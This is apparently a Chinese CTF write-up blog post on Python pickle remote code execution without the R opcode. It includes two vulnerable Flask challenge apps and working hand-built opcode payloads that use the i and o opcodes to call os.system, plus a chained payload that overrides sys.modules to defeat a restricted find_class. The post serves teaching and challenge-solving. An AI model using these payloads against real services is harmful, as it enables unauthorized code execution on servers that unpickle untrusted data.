python3 pickle无__reduce__函数RCE

航神在队里的训练平台放了几个题并分享了他的发现
以此记录一下
航神tql ORZ

1.题目引发的思考

首先是这样一个题:

import base64
import pickle

from flask import Flask, Response, render_template, request
import favorite

app = Flask(__name__)

class Animal:
    def __init__(self, name, category):
        self.name = name
        self.category = category

    def __repr__(self):
        return f'Animal(name={self.name!r}, category={self.category!r})'

    def __eq__(self, other):
        return type(other) is Animal and self.name == other.name and self.category == other.category


def read(filename, encoding='utf-8'):
    with open(filename, 'r', encoding=encoding) as fin:
        return fin.read()


@app.route('/', methods=['GET', 'POST'])
def index():
    if request.args.get('source'):
        return Response(read(__file__), mimetype='text/plain')

    if request.method == 'POST':
        try:
            pickle_data = request.form.get('data')
            if b'R' in base64.b64decode(pickle_data):
                return 'No... I don\'t like R-things. No Rabits, Rats, Roosters or RCEs.'
            else:
                result = pickle.loads(base64.b64decode(pickle_data))
                if type(result) is not Animal:
                    return 'Are you sure that is an animal???'
            correct = (result == Animal(favorite.name, favorite.category))
            return render_template('unpickle_result.html', result=result, pickle_data=pickle_data, giveflag=correct)
        except Exception as e:
            return 'something wrong...'

    sample_obj = Animal('kitty', 'cat')
    pickle_data = base64.b64encode(pickle.dumps(sample_obj)).decode()
    return render_template('unpickle_page.html', sample_obj=sample_obj, pickle_data=pickle_data)


if __name__ == '__main__':
    app.run(host='127.0.0.1', port=5000)

可能第一反应是写__reduce__函数来执行命令,但是这里在字节流里ban了R,就无法使用reduce执行命令(原因后面说)

2.pickle的本质

下面抄自P牛博客:
pickle实际上是一门栈语言,他有不同的几种编写方式,通常我们人工编写的话,是使用protocol=0的方式来写。而读取的时候python会自动识别传入的数据使用哪种方式,下文内容也只涉及protocol=0的方式。
和传统语言中有变量、函数等内容不同,pickle这种堆栈语言,并没有“变量名”这个概念,所以可能有点难以理解。pickle的内容存储在如下两个位置中:
stack 栈
memo 一个列表,可以存储信息

对于这样一个类

import pickle
import os
class Animal:
    def __reduce__(self):
        return (os.system, ('ls',))
    def __init__(self, name, category):
        self.name = name
        self.category = category

    def __repr__(self):
        return f'Animal(name={self.name!r}, category={self.category!r})'

    def __eq__(self, other):
        return type(other) is Animal and self.name == other.name and self.category == other.category
obj = Animal('eustiar', 'man')
data = pickle.dumps(obj)
print(data)

他反序列化之后的opcode是这样的:

\x80\x03cposix\nsystem\nq\x00X\x02\x00\x00\x00lsq\x01\x85q\x02Rq\x03.

可以使用以下命令进行分析:

python -m pickletools pickle


对于每个opcode的解释如下:

\x80				指定所用协议版本,目前有1、2、3、4四个版本
\x03				前面提到的版本,这里是版本3
c					引入模块中的对象,模块名和对象名以换行符分割,引入的对象push到栈中
posix				要引入的模块名,unix中的os就是posix
system				要引入的对象名
q					将当前栈顶的元素存储到memo这个字典中,key为q后面的参数,value为栈顶元素
\x00				q的参数
X 					往栈顶push一个四字节的unicode字符串,其后四字节为参数,在之后为要push的字符串
\x02\x00\x00\x00	要push的字符串长度
ls					要push的字符串
\x85				将栈顶元素push到一个空元组再重新压入栈,相当于 stack[-1] = tuple(stack[-1:])
R					从栈上弹出两个元素,分别是可执行对象和参数元组,并执行,结果压入栈中,执行前: .. callable pytuple 执行后: .. callable(*pytuple)
.					将stack弹出一个元素作为返回结果,结束程序

可以看到,命令执行的关键就是R调用了函数,所以把R给ban掉,就无法执行命令了
可是真是无法RCE了么?
我们可以从pickle源码中找到答案,去读pickle.py源码

3.pickle.py

self._unframer = _Unframer(self._file_read, self._file_readline)
self.read = self._unframer.read
self.readline = self._unframer.readline
self.metastack = []
self.stack = []
self.append = self.stack.append
self.proto = 0
read = self.read
dispatch = self.dispatch
try:
    while True:
        key = read(1)
        if not key:
            raise EOFError
        assert isinstance(key, bytes_types)
        dispatch[key[0]](self)
except _Stop as stopinst:
    return stopinst.value

这是python的pickle库关于load部分的源码
其中比较关键的几个变量:
stack,就是之前提到的stack,最主要的结构
metastack,这是用来存储stack的一个stack,在涉及到mark,pop_mark等opcode时用到,简单来说,stack是当前使用的栈,可以将它压到metastack中储存,另用一个新栈,也可以将当前栈舍弃,从metastack中取出栈使用
dispatch,一个字典,key为opcode,值为对应的函数
这里没有memo,他是在之前的init就定义好了的,就是一个dict结构
可以看到,对于opcode,他就是每次读一个字节,然后按照dispatch映射的函数执行
接下来去看看一下dispatch中函数的具体实现,首先我们看一下被ban掉的R

先将栈顶的元素弹出作为参数,再将栈顶元素作为可执行对象,以func(*args)的形式直接调用,结果还是放在栈顶
R被ban掉的情况下,我们审计一下其他函数,期望能找到别的执行命令的函数

_instantiate


我们找到了_instantiate这样一个函数,他接受两个参数,在第二个参数非空时,会执行

value = klass(*args)

与reduce的形式如出一辙,最后的执行结果通过append添加到了当前stack的顶部
然后我们去找一下谁调用了这个函数

load_inst & load_obj


可以看到load_inst(对应opcode中的i)和load_obj(对应opcode中的o)都调用了这个函数
对于load_inst,_instantiate的第一个参数直接由跟在i之后的字符串决定,第二个参数由pop_mark()得到,它的效果就是将metastack栈顶的栈返回,作为新的当前栈,然后将之前使用的栈作为返回值返回,也就是说依旧可由我们控制,所以两个参数均可控,可以实现RCE
对于load_obj,_instantiate的第一个参数是pop_mark()得到的栈的栈底元素(注意,是栈底),第二个参数为该栈的剩余元素,所以依旧是可控的,可以RCE

4.RCE

说了这么多,我们具体来看一下效果
接下来是手搓opcode的时间,具体每个opcode的效果不再赘述,有兴趣的同学可以去看一下pickle.py

import pickle
data = b"\x80\x03(S'ls'\nios\nsystem\n."
pickle.loads(data)

执行上述代码

可以看到,成功用i执行了ls命令

import pickle
data = b"\x80\x03(cos\nsystem\nS'ls'\no."
pickle.loads(data)


同样可以用o执行ls命令

对于原题,通过RCE,我们可以直接去读favorite.py获得name和category,正常提交即可
(其实这算是非预期解,预期解应该是通过c这个opcode引入favorite的name和category,让其反序列化时不用硬编码,而是去favorite中找值)

5.更进一步

出题人得到这个非预期解的反馈后,又出了另外一题

import base64
import io
import sys
import pickle

from flask import Flask, Response, render_template, request
import favorite


app = Flask(__name__)


class Animal:
    def __init__(self, name, category):
        self.name = name
        self.category = category

    def __repr__(self):
        return f'Animal(name={self.name!r}, category={self.category!r})'

    def __eq__(self, other):
        return type(other) is Animal and self.name == other.name and self.category == other.category


class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        if module == '__main__':
            return getattr(sys.modules['__main__'], name)
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))


def restricted_loads(s):
    return RestrictedUnpickler(io.BytesIO(s)).load()


def read(filename, encoding='utf-8'):
    with open(filename, 'r', encoding=encoding) as fin:
        return fin.read()


@app.route('/', methods=['GET', 'POST'])
def index():
    if request.args.get('source'):
        return Response(read(__file__), mimetype='text/plain')

    if request.method == 'POST':
        try:
            pickle_data = request.form.get('data')
            if b'R' in base64.b64decode(pickle_data):
                return 'No... I don\'t like R-things. No Rabits, Rats, Roosters or RCEs.'
            else:
                result = restricted_loads(base64.b64decode(pickle_data))
                if type(result) is not Animal:
                    return 'Are you sure that is an animal???'
            correct = (result == Animal(favorite.name, favorite.category))
            return render_template('unpickle_result.html', result=result, pickle_data=pickle_data, giveflag=correct)
        except Exception as e:
            print(repr(e))
            return "Something wrong"

    sample_obj = Animal('kitty', 'cat')
    pickle_data = base64.b64encode(pickle.dumps(sample_obj)).decode()
    return render_template('unpickle_page.html', sample_obj=sample_obj, pickle_data=pickle_data)


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000)

可以看到,出题人通过重写RestrictedUnpickler来限制了find_class只能从__main__获取
这题还是有多解,不知道哪个是预期解

1.read

这里有个自定义的函数read,可以通过__main__获取,所以我们可以用这个配合i或者o来读favorite.py
构造如下opcode:

b"\x80\x03c__main__\nAnimal\nq\x00)\x81q\x01}q\x02(X\x04\x00\x00\x00nameq\x03(c__main__\nread\nS'favorite.py'\noX\x08\x00\x00\x00categoryq\x05X\x03\x00\x00\x00manq\x06ub."

base64编码后提交,可以获得真正的name和category,再次构造一个类提交即可

2.cover

这是坤坤使用的方法,坤坤tql
首先介绍一下opcode中的b,build,首先看一下源码:

简单来说,就是先将stack栈顶元素弹出作为state,该元素为一个dict,而此时栈顶元素为inst对象,然后用dict中的值为inst对象赋值,key为变量名,value为值
可以看一个例子来说明一下

这是序列化了一个Animal对象,有name和category两个属性,值分别为eustiar和man
其中u是调用pop_mark(),将目前栈里的元素name,eustiar,category,man按照key,value,key,value的顺序放到新取出的栈的栈顶字典里(也就是要求这个栈顶必须是一个dict)
b是将当前栈中的空Animal对象与新加入的栈顶字典按照上面提到的方式进行赋值
既然b可以用来赋值,name我们就可以引入favorite对象,将它的值通过b给覆盖成我们指定的值,然后提交这个值的对象即可
payload:

b"\x80\x03c__main__\nfavorite\n}(X\x04\x00\x00\x00nameq\x03X\x07\x00\x00\x00eustiarq\x04X\x08\x00\x00\x00categoryq\x05X\x03\x00\x00\x00manub0c__main__\nAnimal\nq\x00)\x81q\x01}q\x02(X\x04\x00\x00\x00nameq\x03X\x07\x00\x00\x00eustiarq\x04X\x08\x00\x00\x00categoryq\x05X\x03\x00\x00\x00manq\x06ub."

这里是c引入了favorite,使用b将其值修改后,pop掉然后再push一个正常的Animal,其中值是我们之前的覆盖值

成功getflag
注意,这个覆盖只是发生在内存里的,并不会真正修改服务器上的文件

3.RCE

没想到吧,坤坤还是能RCE
坤坤tql
payload:

b'\x80\x03c__main__\n__builtins__\n}(Vsys\nc__main__\nsys\nubc__main__\nsys\n}(Vmodules\n}(V__main__\nc__main__\n__builtins__\nuubc__main__\nsys\n}(Vmodules\n}(V__main__\n(Vos\ni__main__\n__import__\nuub(Vls\ni__main__\nsystem\n000.'


先用builtins覆盖了main,然后用os覆盖了main,最后system执行命令
当然,这么搞一次之后环境就乱掉了,必须重启服务(有种穿上裤子就跑的感觉23333

6.conclusion

航神tql
坤坤tql
别用pickle

打赏作者

发表评论

电子邮件地址不会被公开。 必填项已用*标注